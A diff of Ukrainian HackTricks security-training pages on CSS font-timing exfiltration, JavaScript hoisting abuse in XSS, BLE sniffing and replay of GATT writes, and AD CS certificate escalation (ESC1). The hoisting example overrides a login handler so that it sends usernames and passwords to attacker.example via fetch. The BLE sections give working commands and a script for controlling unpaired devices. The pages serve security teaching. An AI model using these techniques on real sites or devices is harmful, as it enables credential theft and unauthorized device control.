@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Якщо відбудеться співпадіння, **шрифт буде завантажено з `/static/bootstrap.min.css?q=1`**. Хоча він не завантажиться успішно, **браузер має кешувати його**, і навіть якщо кешу немає, існує механізм **304 not modified**, тож **відповідь має бути швидшою**, ніж інші ресурси.
Якщо є відповідність, **шрифт буде завантажений з `/static/bootstrap.min.css?q=1`**. Хоча він не завантажиться успішно, **браузер має зберегти його в кеші**, і навіть якщо кешу немає, існує механізм **304 not modified**, тож **відповідь має бути швидшою**, ніж інші ресурси.
Однак, якщо різниця в часі між кешованою відповіддю та не кешованою недостатньо велика, це не буде корисно. Наприклад, автор згадував: «Однак після тестування я виявив, що першою проблемою є те, що швидкість практично не відрізняється, а другою — що bot використовує прапор `disk-cache-size=1`, що справді продумано.»
Однак, якщо різниця в часі між кешованою відповіддю та некешованою недостатня, це не буде корисним. Наприклад, автор зазначив: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Посилання:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Посилання:** Це згадується як [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
У цьому випадку ви можете вказати **CSS to load hundreds of fake fonts** з того самого origin, коли відбувається співпадіння. Таким чином ви можете **виміряти час**, який це займає, і з’ясувати, чи з’являється char чи ні за допомогою чогось на кшталт:
У цьому випадку можна вказати **CSS для завантаження сотень фейкових шрифтів** з того самого origin, коли відбувається відповідність. Таким чином можна **виміряти час**, який це займає, і визначити, чи з’являється символ, чи ні, за допомогою чогось на кшталт:
```css
@font-face {
font-family: "A1";
@ -783,9 +783,9 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Отже, якщо шрифт не співпадає, час відгуку при зверненні до бота очікується приблизно 30 секунд. Однак якщо є співпадіння шрифту, буде відправлено кілька запитів для отримання шрифту, що спричинить постійну мережеву активність. Внаслідок цього знадобиться більше часу, щоб виконати умову зупинки і отримати відповідь. Таким чином, час відгуку можна використовувати як індикатор для визначення співпадіння шрифту.
Отже, якщо шрифт не збігається, очікуваний час відповіді при зверненні до bot становить приблизно 30 секунд. Якщо ж є збіг шрифта, надсилається кілька запитів для завантаження шрифту, що викликає постійну мережеву активність. Це затримує виконання умови зупинки й отримання відповіді. Тож час відповіді можна використовувати як індикатор наявності збігу шрифта.
## Джерела
## References
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)

File diff suppressed because it is too large Load Diff

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## Основна інформація
## Basic Information
У мові JavaScript існує механізм, відомий як **Hoisting**, при якому оголошення змінних, функцій, класів або імпортів концептуально піднімаються на початок їхньої області видимості перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить по скрипту в кілька проходів.
У мові JavaScript існує механізм, відомий як **Hoisting**, коли оголошення змінних, функцій, класів або imports концептуально піднімаються на початок їхньої області видимості перед виконанням коду. Цей процес автоматично виконує JavaScript-движок, який проходить скрипт у кілька проходів.
Під час першого проходу движок парсить код для перевірки синтаксичних помилок і перетворює його у абстрактне синтаксичне дерево. Ця фаза включає hoisting, процес, у якому певні оголошення переміщуються на початок контексту виконання. Якщо фаза парсингу пройшла успішно, тобто синтаксичних помилок не виявлено, виконання скрипта продовжується.
Під час першого проходу движок парсить код, перевіряє синтаксичні помилки та перетворює його в abstract syntax tree. Ця фаза включає hoisting — процес, коли певні оголошення переміщуються на верх контексту виконання. Якщо фаза парсингу пройшла успішно (без синтаксичних помилок), виконується сам скрипт.
Важливо розуміти, що:
1. Скрипт має бути вільним від синтаксичних помилок, щоб відбулося його виконання. Правила синтаксису потрібно суворо дотримуватися.
2. Розташування коду в скрипті впливає на виконання через hoisting, хоча виконуваний код може відрізнятися від його текстового представлення.
1. Скрипт повинен бути вільним від синтаксичних помилок, щоб виконання відбулося. Синтаксичні правила мають дотримуватися строго.
2. Розміщення коду в межах скрипта впливає на виконання через hoisting, хоча виконуваний код може відрізнятись від його текстового представлення.
#### Типи Hoisting
#### Types of Hoisting
Згідно з інформацією з MDN, у JavaScript існує чотири різні типи hoisting:
На основі інформації з MDN, у JavaScript є чотири різні типи hoisting:
1. **Value Hoisting**: Дозволяє використовувати значення змінної в межах її області видимості до рядка її оголошення.
2. **Declaration Hoisting**: Дозволяє звертатися до змінної в межах її області видимості до її оголошення без виклику `ReferenceError`, але значення змінної буде `undefined`.
3. Цей тип змінює поведінку в межах області видимості через те, що оголошення змінної опиняється перед її фактичною рядком оголошення.
1. **Value Hoisting**: Дозволяє використовувати значення змінної в її області видимості до рядка її оголошення.
2. **Declaration Hoisting**: Дозволяє посилатися на змінну в її області видимості до її оголошення без `ReferenceError`, проте значення змінної буде `undefined`.
3. Цей тип змінює поведінку в межах області видимості через оголошення змінної до фактичного рядка її оголошення.
4. Побічні ефекти оголошення відбуваються до того, як буде оцінено решту коду, що його містить.
Детальніше: оголошення функцій демонструють поведінку hoisting типу 1. Ключове слово `var` проявляє поведінку типу 2. Лексичні оголошення, які включають `let`, `const` і `class`, показують поведінку типу 3. Нарешті, `import` statements унікальні тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.
Детальніше: function declarations демонструють поведінку типу 1. Ключове слово `var` демонструє поведінку типу 2. Лексичні декларації, які включають `let`, `const` та `class`, показують поведінку типу 3. Нарешті, `import` statements унікальні тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.
## Сценарії
## Scenarios
Отже, якщо у вас є сценарії, де ви можете **впровадити JS-код після використання неоголошеного об'єкта**, ви можете **виправити синтаксис**, оголосивши його (щоб ваш код виконався замість того, щоб спричинити помилку):
Отже, якщо у вас є сценарії, де ви можете **Inject JS code after an undeclared object** is used, ви можете **fix the syntax** шляхом його оголошення (щоб ваш код виконався замість того, щоб кидати помилку):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -129,9 +129,9 @@ alert(1) -
}
trigger()
```
### Запобігайте пізнішим оголошенням, заблокувавши ім'я за допомогою const
### Запередити пізніші декларації, заблокувавши ім'я за допомогою const
Якщо ви можете виконатися до того, як на верхньому рівні буде розібрано `function foo(){...}`, оголошення лексичного зв'язування з тим же іменем (наприклад, `const foo = ...`) завадить пізнішому оголошенню функції перевизначити цей ідентифікатор. Цим можна зловживати в RXSS, щоб перехопити критичні обробники, визначені пізніше на сторінці:
Якщо ви можете виконатися до того, як на верхньому рівні буде розібрано `function foo(){...}`, оголошення лексичного зв'язування з тим самим ім'ям (наприклад, `const foo = ...`) завадить пізнішому оголошенню функції переназначити цей ідентифікатор. Це можна зловживати в RXSS, щоб перехопити критичні обробники, визначені пізніше на сторінці:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
@ -144,8 +144,8 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
Примітки
- Це покладається на порядок виконання та глобальну (верхнього рівня) область видимості.
- Якщо ваш payload виконується всередині `eval()`, пам'ятайте, що `const/let` всередині `eval` мають блочну область видимості і не створюватимуть глобальних зв'язків. Впровадьте новий елемент `<script>` з кодом, щоб встановити справжній глобальний `const`.
- Це залежить від порядку виконання та глобальної (верхнього рівня) області видимості.
- Якщо ваш payload виконується всередині `eval()`, памятайте, що `const/let` всередині `eval` мають блочну область видимості і не створять глобальних зв'язувань. Вставте новий `<script>` елемент з кодом, щоб встановити справжній глобальний `const`.
## Посилання

View File

@ -4,19 +4,19 @@
## Вступ
Доступний з моменту специфікації Bluetooth 4.0, BLE використовує лише 40 каналів, що покривають діапазон 24002483.5 МГц. Натомість традиційний Bluetooth використовує 79 каналів у тому ж діапазоні.
Доступний з моменту специфікації Bluetooth 4.0, BLE використовує лише 40 каналів, що охоплюють діапазон 2400 до 2483.5 MHz. Натомість традиційний Bluetooth використовує 79 каналів у тому самому діапазоні.
Пристрої BLE комунікують, відправляючи **рекламні пакети** (**маячки**) — ці пакети сповіщають про наявність BLE-пристрою іншим пристроям поблизу. Ці маячки іноді також **відправляють дані**.
Пристрої BLE спілкуються, надсилаючи **advertising packets** (**beacons**); ці пакети транслюють наявність BLE-пристрою іншим сусіднім пристроям. Ці beacons іноді також **відправляють дані**.
Пристрій, що слухає (також званий центральним пристроєм), може відповісти на рекламний пакет **SCAN request**, відправивши його безпосередньо рекламному пристрою. **Відповідь** на цей скан має ту саму структуру, що й **рекламний** пакет, з додатковою інформацією, яка не помістилася у початковому рекламному пакеті, наприклад повна назва пристрою.
Пристрій, що слухає, також називають центральним пристроєм, може відповісти на рекламний пакет через **SCAN request**, надісланий безпосередньо рекламному пристрою. **Response** на цей скан має ту ж структуру, що й **advertising** packet, з додатковою інформацією, яка не помістилась у початковому рекламному запиті, наприклад повна назва пристрою.
![](<../../images/image (152).png>)
Преамбула (preamble byte) синхронізує частоту, тоді як чотирьохбайтна access address є **ідентифікатором з'єднання**, який використовується в ситуаціях, коли кілька пристроїв намагаються встановити з'єднання на тих самих каналах. Далі Protocol Data Unit (**PDU**) містить **рекламні дані**. Існує кілька типів PDU; найчастіше використовувані — ADV_NONCONN_IND та ADV_IND. Пристрої використовують тип PDU **ADV_NONCONN_IND**, якщо вони **не приймають з'єднань**, передаючи дані лише в рекламному пакеті. Пристрої використовують **ADV_IND**, якщо вони **дозволяють з'єднання** і **перестають відправляти рекламні** пакети після того, як **з'єднання** було **встановлене**.
Байт преамбули синхронізує частоту, тоді як чотирьохбайтна access address є **connection identifier**, яка використовується в сценаріях, коли кілька пристроїв намагаються встановити з’єднання на тих самих каналах. Далі Protocol Data Unit (**PDU**) містить **advertising data**. Існує кілька типів PDU; найчастіше використовуваними є ADV_NONCONN_IND та ADV_IND. Пристрої використовують тип PDU **ADV_NONCONN_IND**, якщо вони **не приймають зєднань**, передаючи дані лише в рекламному пакеті. Пристрої використовують **ADV_IND**, якщо вони **дозволяють з’єднання** і **перестають надсилати рекламні** пакети після того, як **з’єднання** було **встановлено**.
### GATT
The **Generic Attribute Profile** (GATT) визначає, як **пристрій має форматувати та передавати дані**. Коли ви аналізуєте attack surface BLE-пристрою, ви часто зосереджуєте увагу на GATT (або GATTs), оскільки саме через нього **активуються функції пристрою** та відбувається зберігання, групування й модифікація даних. GATT перераховує характеристики, дескриптори та сервіси пристрою в таблиці як 16- або 32-бітові значення. **Characteristic** — це **значення даних**, яке **передається** між центральним пристроєм і периферійним. Ці характеристики можуть мати **descriptors**, які **надають додаткову інформацію про них**. **Characteristics** часто **групуються** у **services**, якщо вони пов'язані з виконанням певної дії.
The **Generic Attribute Profile** (GATT) визначає, як **пристрій має форматувати та передавати дані**. Коли ви аналізуєте attack surface BLE-пристрою, ви часто зосереджуєтеся на GATT (або GATTs), тому що саме через нього **тригериться функціональність пристрою** і саме він визначає, як дані зберігаються, групуються та змінюються. GATT перелічує характеристики, дескриптори та сервіси пристрою в таблиці як значення по 16 або 32 біти. **Characteristic** — це **значення даних**, яке **відправляється** між центральним пристроєм і периферією. Ці характеристики можуть мати **descriptors**, які **надають додаткову інформацію про них**. **Characteristics** часто **групуються** в **services**, якщо вони пов’язані з виконанням певної дії.
## Перерахування
```bash
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool** дозволяє **встановити** **з'єднання** з іншим пристроєм, перелічуючи **характеристики** того пристрою, а також читати та записувати його атрибути.\
GATTTool може запустити інтерактивну оболонку за допомогою опції `-I`:
**GATTool** дозволяє **встановити** **з'єднання** з іншим пристроєм, перераховуючи **характеристики** цього пристрою та читаючи й записуючи його атрибути.\
GATTTool може запустити інтерактивну оболонку з опцією `-I`:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@ -64,13 +64,13 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing і активне керування непарними BLE-пристроями
## Sniffing and actively controlling unpaired BLE devices
Багато дешевих BLE-периферійних пристроїв не вимагають pairing/bonding. Без bonding шифрування Link Layer ніколи не включається, тому трафік ATT/GATT передається у cleartext. Off-path sniffer може відстежити з'єднання, декодувати GATT-операції, щоб дізнатися characteristic handles and values, і будь-який близький хост може підключитися та повторити ці записи (replay those writes), щоб керувати пристроєм.
Багато недорогих периферійних пристроїв BLE не вимагають pairing/bonding. Без bonding шифрування Link Layer ніколи не вмикається, тому ATT/GATT трафік передається у відкритому вигляді. Off-path sniffer може відстежити з'єднання, декодувати GATT operations, щоб дізнатися characteristic handles і values, і будь-який близький хост зможе підключитися та повторно виконати ці writes, щоб керувати пристроєм.
### Sniffing with Sniffle (CC26x2/CC1352)
Апаратне забезпечення: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), перепрошитий прошивкою Sniffle від NCC Group.
Обладнання: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), перепрошитий прошивкою Sniffle від NCC Group.
Встановіть Sniffle та його Wireshark extcap на Linux:
```bash
@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
deactivate
popd
```
Захопіть трафік у Wireshark через Sniffle extcap і швидко перейдьте до записів, що змінюють стан, відфільтрувавши:
Захопіть у Wireshark через Sniffle extcap і швидко pivot до записів, що змінюють стан, відфільтрувавши:
```text
_ws.col.info contains "Sent Write Command"
```
Це показує ATT Write Commands з боку client; handle та value часто безпосередньо відповідають діям пристрою (наприклад, записати 0x01 у buzzer/alert characteristic, 0x00 — щоб зупинити).
Це виділяє ATT Write Commands від клієнта; handle і value часто безпосередньо відповідають діям пристрою (наприклад, записати 0x01 у характеристику buzzer/alert, 0x00 — щоб зупинити).
Швидкі приклади Sniffle CLI:
Sniffle CLI короткі приклади:
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
Alternative sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
Альтернативний sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin також працює. На маленьких/дешевих Nordic dongles зазвичай перезаписують USB bootloader, щоб завантажити sniffer firmware, тому або тримаєте окремий sniffer dongle, або потрібен J-Link/JTAG, щоб пізніше відновити bootloader.
### Активне керування через GATT
Після того як ви визначили writable characteristic handle і value зі sniffed traffic, підключіться як будь-який central і виконайте той самий write:
Коли ви визначили writable characteristic handle і value зі sniffed traffic, підключіться як будь-який central і виконайте той самий Write:
- За допомогою Nordic nRF Connect for Desktop (BLE app):
- Оберіть nRF52/nRF52840 dongle, скануйте і підключіться до цілі.
- Перегляньте GATT database, знайдіть target characteristic (часто має дружню назву, наприклад, Alert Level).
- Виконайте Write зі sniffed bytes (наприклад, 01 щоб trigger, 00 щоб stop).
- Виберіть nRF52/nRF52840 dongle, проскануйте та підключіться до цілі.
- Перегляньте GATT database, знайдіть target characteristic (часто має friendly name, e.g., Alert Level).
- Виконайте Write зі sniffed bytes (e.g., 01 to trigger, 00 to stop).
- Автоматизуйте на Windows з Nordic dongle використовуючи Python + blatann:
- Автоматизувати у Windows з Nordic dongle за допомогою Python + blatann:
```python
import time
import blatann
@ -169,13 +169,13 @@ peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### Оперативні зауваження та заходи пом'якшення
### Операційні нотатки та заходи пом'якшення
- Віддавайте перевагу Sonoff+Sniffle на Linux для надійного channel hopping та connection following. Майте запасний Nordic sniffer як резерв.
- Без pairing/bonding будь-який зловмисник поблизу може спостерігати writes і replay/craft власні до unauthenticated writable characteristics.
- Віддавайте перевагу Sonoff+Sniffle на Linux для надійного channel hopping та connection following. Тримайте запасний Nordic sniffer як резерв.
- Без pairing/bonding будь-який атакуючий поблизу може спостерігати writes і відтворювати/створювати власні записи для unauthenticated writable characteristics.
- Заходи пом'якшення: вимагати pairing/bonding та застосовувати шифрування; встановити characteristic permissions так, щоб вимагати authenticated writes; мінімізувати unauthenticated writable characteristics; перевіряти GATT ACLs за допомогою Sniffle/nRF Connect.
## References
## Джерела
- [Start hacking Bluetooth Low Energy today! (part 2) Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)

View File

@ -6,100 +6,100 @@
### Компоненти сертифіката
- **Subject** сертифіката позначає його власника.
- **Public Key** пов'язаний з приватним ключем, що дозволяє пов'язати сертифікат з його законним власником.
- **Validity Period**, визначений датами **NotBefore** та **NotAfter**, позначає період дії сертифіката.
- Унікальний **Serial Number**, що присвоюється Certificate Authority (CA), ідентифікує кожний сертифікат.
- **Issuer** позначає CA, який видав сертифікат.
- **SubjectAlternativeName** дозволяє додавати додаткові імена для Subject, підвищуючи гнучкість ідентифікації.
- **Basic Constraints** вказують, чи є сертифікат для CA або кінцевого об'єкта, і визначають обмеження використання.
- **Extended Key Usages (EKUs)** визначають конкретні призначення сертифіката, наприклад code signing або email encryption, через Object Identifiers (OIDs).
- **Signature Algorithm** визначає метод підпису сертифіката.
- **Signature**, створена приватним ключем видавця, гарантує автентичність сертифіката.
- The **Subject** of the certificate denotes its owner.
- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner.
- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration.
- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate.
- The **Issuer** refers to the CA that has issued the certificate.
- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility.
- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions.
- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs).
- The **Signature Algorithm** specifies the method for signing the certificate.
- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity.
### Особливі зауваження
### Особливі зауваги
- **Subject Alternative Names (SANs)** розширюють застосовність сертифіката на декілька ідентичностей, що критично для серверів із кількома доменами. Безпечні процеси видачі важливі, щоб уникнути ризику підроблення через маніпуляції атакувальників зі специфікацією SAN.
- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification.
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS реєструє CA сертифікати в лісі AD через спеціальні контейнери, кожен з яких виконує певну роль:
AD CS acknowledges CA certificates in an AD forest through designated containers, each serving unique roles:
- Контейнер **Certification Authorities** містить довірені root CA сертифікати.
- Контейнер **Enrolment Services** містить відомості про Enterprise CAs та їхні шаблони сертифікатів.
- Об'єкт **NTAuthCertificates** включає CA сертифікати, авторизовані для автентифікації в AD.
- Контейнер **AIA (Authority Information Access)** сприяє перевірці ланцюжка сертифікатів через проміжні та cross CA сертифікати.
- **Certification Authorities** container holds trusted root CA certificates.
- **Enrolment Services** container details Enterprise CAs and their certificate templates.
- **NTAuthCertificates** object includes CA certificates authorized for AD authentication.
- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates.
### Отримання сертифіката: потік запиту клієнта
1. Процес запиту починається з пошуку клієнтом Enterprise CA.
2. Створюється CSR, який містить public key та інші дані, після генерації пари public-private ключів.
3. CA оцінює CSR щодо доступних шаблонів сертифікатів і видає сертифікат на основі дозволів шаблону.
1. Процес запиту починається з того, що клієнти знаходять Enterprise CA.
2. Створюється CSR, який містить public key та інші деталі, після генерації пари public-private ключів.
3. CA оцінює CSR згідно з доступними certificate templates і видає сертифікат на основі дозволів шаблону.
4. Після погодження CA підписує сертифікат своїм приватним ключем і повертає його клієнту.
### Шаблони сертифікатів
### Certificate Templates
Шаблони, визначені в AD, описують налаштування та дозволи для видачі сертифікатів, включно з дозволеними EKU та правами на enrollment або модифікацію, що критично для контролю доступу до сервісів сертифікації.
Визначені в AD, ці шаблони описують налаштування та права для видачі сертифікатів, включно з допустимими EKU та правами на enrolment або модифікацію, що є критично важливим для керування доступом до сервісів сертифікації.
## Реєстрація сертифікатів
## Certificate Enrollment
Процес реєстрації сертифікатів ініціюється адміністратором, який **створює шаблон сертифіката**, який потім **публікується** Enterprise Certificate Authority (CA). Це робить шаблон доступним для реєстрації клієнтами, що досягається додаванням імені шаблону до поля `certificatetemplates` об'єкта Active Directory.
The enrollment process for certificates is initiated by an administrator who **creates a certificate template**, which is then **published** by an Enterprise Certificate Authority (CA). This makes the template available for client enrollment, a step achieved by adding the template's name to the `certificatetemplates` field of an Active Directory object.
Щоб клієнт міг запитати сертифікат, повинні бути надані **enrollment rights**. Ці права визначаються через security descriptors на шаблоні сертифіката та на самому Enterprise CA. Права мають бути надані в обох місцях для успішного виконання запиту.
For a client to request a certificate, **enrollment rights** must be granted. These rights are defined by security descriptors on the certificate template and the Enterprise CA itself. Permissions must be granted in both locations for a request to be successful.
### Права на реєстрацію шаблону
### Template Enrollment Rights
Ці права вказуються через Access Control Entries (ACEs) і деталізують дозволи, такі як:
These rights are specified through Access Control Entries (ACEs), detailing permissions like:
- **Certificate-Enrollment** та **Certificate-AutoEnrollment** права, кожне з яких пов'язане зі специфічним GUID.
- **ExtendedRights**, що дозволяє всі розширені дозволи.
- **FullControl/GenericAll**, що надає повний контроль над шаблоном.
- **Certificate-Enrollment** and **Certificate-AutoEnrollment** rights, each associated with specific GUIDs.
- **ExtendedRights**, allowing all extended permissions.
- **FullControl/GenericAll**, providing complete control over the template.
### Права реєстрації Enterprise CA
### Enterprise CA Enrollment Rights
Права CA визначені в його security descriptor, доступному через консоль управління Certificate Authority. Деякі налаштування навіть дозволяють віддалений доступ користувачам з низькими привілеями, що може становити ризик безпеці.
The CA's rights are outlined in its security descriptor, accessible via the Certificate Authority management console. Some settings even allow low-privileged users remote access, which could be a security concern.
### Додаткові обмеження при видачі
### Additional Issuance Controls
Можуть застосовуватись певні контролі, такі як:
Certain controls may apply, such as:
- **Manager Approval**: ставить запити в очікуваний стан до затвердження менеджером сертифікатів.
- **Enrolment Agents and Authorized Signatures**: вказують кількість підписів, необхідних на CSR, та необхідні Application Policy OIDs.
- **Manager Approval**: Places requests in a pending state until approved by a certificate manager.
- **Enrolment Agents and Authorized Signatures**: Specify the number of required signatures on a CSR and the necessary Application Policy OIDs.
### Методи запиту сертифікатів
### Methods to Request Certificates
Сертифікати можна запитувати через:
Certificates can be requested through:
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), використовуючи DCOM інтерфейси.
2. **ICertPassage Remote Protocol** (MS-ICPR), через named pipes або TCP/IP.
3. **certificate enrollment web interface**, при встановленій ролі Certificate Authority Web Enrollment.
4. **Certificate Enrollment Service** (CES) у поєднанні з Certificate Enrollment Policy (CEP) service.
5. **Network Device Enrollment Service** (NDES) для мережевих пристроїв, використовуючи Simple Certificate Enrollment Protocol (SCEP).
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), using DCOM interfaces.
2. **ICertPassage Remote Protocol** (MS-ICPR), through named pipes or TCP/IP.
3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed.
4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service.
5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP).
Користувачі Windows також можуть запитувати сертифікати через GUI (`certmgr.msc` або `certlm.msc`) або інструменти командного рядка (`certreq.exe` або PowerShell команду `Get-Certificate`).
Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command).
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## Аутентифікація за сертифікатами
Active Directory (AD) підтримує автентифікацію за сертифікатами, здебільшого використовуючи протоколи **Kerberos** та **Secure Channel (Schannel)**.
Active Directory (AD) підтримує аутентифікацію за сертифікатами, переважно з використанням протоколів **Kerberos** та **Secure Channel (Schannel)**.
### Процес автентифікації Kerberos
### Процес аутентифікації Kerberos
У процесі автентифікації Kerberos запит користувача на Ticket Granting Ticket (TGT) підписується за допомогою **приватного ключа** сертифіката користувача. Цей запит проходить кілька перевірок з боку доменного контролера, включаючи **дійсність**, **ланцюжок сертифікації (path)** та **статус відкликання** сертифіката. Перевірки також включають підтвердження того, що сертифікат походить із довіреного джерела, та підтвердження присутності видавця у **NTAUTH certificate store**. Успішні перевірки призводять до видачі TGT. Об'єкт **`NTAuthCertificates`** в AD, який знаходиться за адресою:
У процесі аутентифікації Kerberos запит користувача на Ticket Granting Ticket (TGT) підписується з використанням **приватного ключа** сертифіката користувача. Цей запит проходить кілька перевірок на контролері домену, включно з перевіркою **дійсності**, **шляху** та **стану відкликання** сертифіката. Перевірки також включають підтвердження, що сертифікат походить із довіреного джерела, і підтвердження присутності видавця в **NTAUTH certificate store**. У разі успішних перевірок видається TGT. Об'єкт **`NTAuthCertificates`** в AD, який знаходиться за адресою:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
є центральним для встановлення довіри при автентифікації за допомогою сертифікатів.
є ключовим для встановлення довіри при автентифікації за допомогою сертифікатів.
### Secure Channel (Schannel) Authentication
Schannel сприяє встановленню захищених TLS/SSL-з'єднань, де під час handshake клієнт пред'являє сертифікат, який у разі успішної валідації надає доступ. Відповідність сертифіката обліковому запису AD може залучати функцію **Kerbeross S4U2Self** або поле сертифіката **Subject Alternative Name (SAN)**, серед інших методів.
Schannel забезпечує захищені TLS/SSL-з’єднання, де під час handshake клієнт пред’являє сертифікат, який, якщо успішно перевірений, авторизує доступ. Відображення сертифіката на обліковий запис AD може включати функцію Kerbeross **S4U2Self** або **Subject Alternative Name (SAN)** сертифіката, серед інших методів.
### AD Certificate Services Enumeration
Служби сертифікації AD можна перелічити через LDAP-запити, що розкривають інформацію про **Enterprise Certificate Authorities (CAs)** та їхні конфігурації. До цього має доступ будь-який користувач, автентифікований у домені, без спеціальних привілеїв. Інструменти, такі як **[Certify](https://github.com/GhostPack/Certify)** та **[Certipy](https://github.com/ly4k/Certipy)**, використовуються для перелічення та оцінки вразливостей у середовищах AD CS.
Служби сертифікації AD можна перелічити за допомогою LDAP-запитів, що розкривають інформацію про **Enterprise Certificate Authorities (CAs)** та їхні конфігурації. Це доступно будь-якому автентифікованому в домені користувачу без спеціальних привілеїв. Інструменти на кшталт **[Certify](https://github.com/GhostPack/Certify)** та **[Certipy](https://github.com/ly4k/Certipy)** використовуються для перелічення та оцінки вразливостей у середовищах AD CS.
Команди для використання цих інструментів включають:
```bash

View File

@ -1,9 +1,9 @@
# AD CS Ескалація у домені
# AD CS Підвищення привілеїв у домені
{{#include ../../../banners/hacktricks-training.md}}
**Це резюме секцій щодо технік ескалації з постів:**
**Це резюме розділів про техніки ескалації з публікацій:**
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
@ -13,32 +13,32 @@
### Пояснення
### Misconfigured Certificate Templates - ESC1 Explained
### Неправильно налаштовані шаблони сертифікатів - пояснення ESC1
- **Enterprise CA надає права реєстрації низькоправним користувачам.**
- **Не потрібне затвердження менеджера.**
- **Не потрібні підписи авторизованого персоналу.**
- **Дескриптори безпеки на шаблонах сертифікатів надто ліберальні, дозволяючи низькоправним користувачам отримувати права реєстрації.**
- **Шаблони сертифікатів налаштовані для визначення EKU, що полегшують аутентифікацію:**
- Ідентифікатори Extended Key Usage (EKU), такі як Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), або відсутність EKU (SubCA), можуть бути включені.
- **Шаблон дозволяє запитувачам включати subjectAltName у Certificate Signing Request (CSR):**
- Active Directory (AD) віддає пріоритет subjectAltName (SAN) у сертифікаті для перевірки ідентичності, якщо він присутній. Це означає, що вказавши SAN у CSR, можна запросити сертифікат для видавання себе за будь-якого користувача (наприклад, domain administrator). Можливість вказувати SAN запитувачем визначається в об'єкті шаблону сертифіката в AD через властивість `mspki-certificate-name-flag`. Ця властивість є бітовою маскою, і наявність прапорця `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` дозволяє запитувачу вказувати SAN.
